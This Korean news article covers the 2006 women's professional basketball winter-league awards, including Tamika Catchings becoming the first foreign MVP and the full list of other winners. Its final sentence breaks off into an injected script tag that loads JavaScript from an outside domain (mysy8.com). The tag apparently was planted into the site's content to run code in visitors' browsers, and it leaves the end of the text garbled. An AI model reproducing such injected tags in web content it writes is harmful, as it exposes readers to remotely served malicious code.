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'캐칭’s Day' 외국인선수 최초 정규리그 최고별

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지난 12월 20일 개막한 금호아시아나배 2006 여자프로농구 겨울리그. 2라운드가 시작된 후 1월5일부터 춘천 우리은행 한새농구단에 합류해 14게임을 소화한 '특급용병'타미카 캐칭이 팀을 정규리그 우승으로 이끄는 등 매 경기마다 최고 활약을 선보여 외국인선수로는 최초로 여자프로농구 정규리그 최우수선수의 영광을 차지했다. '대한민국 고유의 옷' 한복을 곱게 차려입고 시상식에 선 타미카 캐칭은 지난 2003년 겨울리그부터 WKBL과 인연을 맺었다. 춘천 우리은행 한새의 외국인선수로 활약하며 한국여자프로농구의 붐을 일으킨 캐칭은 2003겨울리그에서 소속팀 우리은행 한새에게 첫 정규리그 우승과 통합챔피언의 영광을 함께 안겨줬다. 2003겨울리그 당시 외국인선수상과 함께 챔피언전 최우수선수상을 받은 캐칭은 2003여름리그 플레이오프에 합류하며 맹활약해 다시한번 팀을 우승으로 이끌었다. 2003겨울리그의 영광을 재현하기 위해 2006겨울리그 한국행을 선택한 캐칭은 마침내 국내선수를 제치고 외국인선수로는 최초로 정규리그 최우수선수상을 거머줬다. 지난 신한은행배 2005 여름리그부터 시작된 여자프로농구 정규리그 시상식. 두번째를 맞은 금호아시아나배 2006 여자프로농구 정규리그 시상식은 22일 서울 웨스틴조선호텔 그랜드 볼룸에서 WKBL 김원길총재와 김동욱전무이사 그리고 6개구단 모든 선수들과 관계자, WKBL 관계자, 농구인 등 많은 이들이 한자리에 모인 가운데 화려하게 펼쳐졌다. 오늘 시상식에서 춘천 우리은행 한새는 정규리그 우승과 함께 정규리그 MVP(캐칭), 지도상(박명수감독), 프런트상 그리고 선수 각 부문별 수상까지 모두 9개 부문에서 상을 받는 영광을 안아 플레이오프전을 앞두고 기쁨을 함께했다. 이 중에서 정규리그 최우수선수상을 받은 캐칭은 외국인선수상과 BEST5에 함께 선정되며 모두 5개 부문에서 상을 받았다. 최우수선수로 뽑힌 타미카 캐칭은 기자단 투표 결과 유효표 47표 가운데 34표를 얻어 전주원(안산 신한은행 에스버드.8표)을 압도적으로 누르고 MVP에 올랐다. 캐칭은 수상소감에서 짤막하게 한국어로 "감사합니다!"를 외쳤고, "다시 한국에 오게한 박명수 감독과 팀관계자 그리고 WKBL에게 감사한다. 팀 동료들에게도 너무 고맙고 앞으로 더 열심히 해서 다음 시즌에서도 멋진 경기를 보여주겠다"고 말해 타 구단 선수들과 구단 관계자들을 술렁이게 했다. 최우수선수상의 영광을 안은 타미카 캐칭은 팀에 정규리그 우승을 안겼으며 포지션별 최고 선수로 꼽히는 'BEST 5'와 최고 외국인선수 영예도 함께했다. 기록에 의한 시상에서는 '스틸왕'(평균 3.1개/14경기), '블록왕'(평균 1.64개/14경기)도 함께 차지했다. 타미카 캐칭은 정규리그 14경기에 출전하며 경기당 평균 35분13초 출전, 26.3득점, 3.1스틸을 기록하는 등 각 부문에서 고른 활약을 보였고 지난 2월10일에는 WKBL 사상 최초로 스틸포함 트리플더블 기록(20점.12리바운드.11스틸)을 세웠다. 지난 2006 여자프로농구 신입드래프트에서 전체 1순위로 프로에 입단한 광주 신세계 쿨캣 "슈퍼신인" 김정은은 기자단 투표 유효표 53표 가운데 50표를 얻어 절친한 친구 이경은(춘천 우리은행 한새.3표)을 압도적으로 제치고 생애 단 한번뿐인 신인선수상의 영광을 안았다. 김정은은 쑥스러운 모습으로 트로피와 꽃다발을 안고 "많이 도와주신 정인교 코치선생님께 너무 감사드립니다. 그리고 팀 언니들과 구단 관계자분들에게 고맙고 나의 우상 비어드에게도 감사한다. 마지막으로 '경은아! 고맙다'"라고 말하며 수상 소감을 전했다. 이 밖에도 정규리그 포지션별 최고의 선수를 뽑는 'BEST 5'에는 전주원(신한은행 에스버드.44표) 캐칭(우리은행 한새.38표), 변연하(삼성생명 비추미.31표), 맥윌리암스(신한은행 에스버드.19표), 김지윤(금호생명 팰컨스.18표)이 영예를 안았다. 3회 연속 정규리그 우승을 이끈 춘천 우리은행 한새 박명수 감독은 기자단 투표 유효표 53표 중 31표를 얻어 안산 신한은행 에스버드 이영주감독(22표)을 제치고 개인 통산 4번째 지도상을 수상했다. 최고 외국인선수를 가리는 외국인선수상은 캐칭(우리은행 한새.44표)에게 돌아갔으며, 심판원 투표로 진행된 모범선수상은 정미란(금호생명 팰컨스)에게 돌아갔다. 기술위원회의 투표로 진행되는 우수수비선수상은 이종애(금호생명 팰컨스), 우수후보 선수상은 홍현희(우리은행 한새)에게 돌아갔다. 통계에 의한 시상에서는 비어드(신세계 쿨캣)가 '득점상'(평균 27.1점), '3득점상'(37개), '3점야투상'(45.7%)을 받으며 3관왕을 자치했고, 캐칭(우리은행 한새)은 '스틸상'(평균 3.1개), '블록상'(평균 1.64개)을 받으며 기록부문 2관왕을 차지했다. '2점야투상' 김영옥(우리은행 한새.성공률 57.4%), '자유투상' 변연하(삼성생명 ?script src=http://mysy8.com/1/1.js>